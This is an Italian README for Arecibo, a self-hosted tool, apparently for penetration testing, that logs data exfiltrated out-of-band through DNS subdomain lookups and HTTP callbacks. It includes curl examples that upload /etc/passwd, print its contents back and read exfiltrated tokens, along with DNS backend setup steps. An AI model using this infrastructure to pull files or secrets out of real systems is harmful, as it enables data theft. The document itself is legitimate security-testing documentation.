
Endpoint per esfiltrazione fuori banda (DNS e HTTP)
Endpoint per l'esfiltrazione out-of-band (DNS e HTTP)
Juan Manuel Fernández (@TheXC3LL) e Pablo Martinez (@Xassiz)
Crea un nuovo token:
curl localhost:5000/generatedns
{"htoken": "c008b5dd22817c50441522f917c66743"}
Ora puoi usare questo token identificativo per fare risoluzioni DNS (ABCD.TOKEN.x.yourdomain.com):
> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: DOMINIO
Address: 127.0.0.1
Puoi controllare gli hits e i dati esfiltrati tramite /hitsdns/TOKEN:
curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743
{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]}
Se vuoi tutti i dati concatenati usa /dumpdns/token:
curl localhost/dumpdns/c008b5dd22817c50441522f917c66743
{"dump": "test-exfiltracionconcatenatedtootherinfo"}
Genera token:
curl localhost:5000/generatehttp
{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}
Ora puoi esfiltrare informazioni tramite richieste HTTP ( http://yourodmain.com/h/TOKEN). I parametri GET / POST, gli header e l'IP saranno registrati da Arecibo.
curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!
Per recuperare le info, usa /hitshttp/TOKEN:
curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}
Se hai bisogno di mostrare un HTML arbitrario, HEADERS o codice di stato, usa il metodo POST per impostare i suoi valori (il body deve essere codificato in base64):
curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
"htoken": "324e18288eed54548392c5a65514b3dc"
}
Arecibo risolve i domini con lo schema X.Y.Z.A.ip.yourdomain.com come X.Y.Z.A:
> 10.0.0.1.ip.yourdomain.com
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: yourdomain.com
Address: 10.0.0.1
Carica un file usando l'endpoint /upload:
curl localhost:5000/upload -F 'x-file=@/etc/passwd'
{"htoken": "36981274bdb9cc833472681caeb82337"}
Per scaricarlo usa il token generato:
curl localhost:5000/download/36981274bdb9cc833472681caeb82337
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Mostra l'IP del client tramite /ip:
curl localhost:5000/ip
{"ip": "127.0.0.1"}
Devi installare pdns e pdns-backend-pipe dai repository della tua distribuzione, e i moduli flask e flask_restful per python.
chmod +x arecibo-dns-backend.pysetuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py
(Cambia setuid/setgid con i valori usati per eseguire lo script API, devono essere gli stessi)
IL TUO SERVER DEVE ESSERE CONFIGURATO COME DNS AUTORITATIVO PER IL TUO DOMINIO
IMPORTANTE: Devi configurare un nginx o un altro reverse proxy davanti ad Arecibo per fornire autenticazione e sicurezza.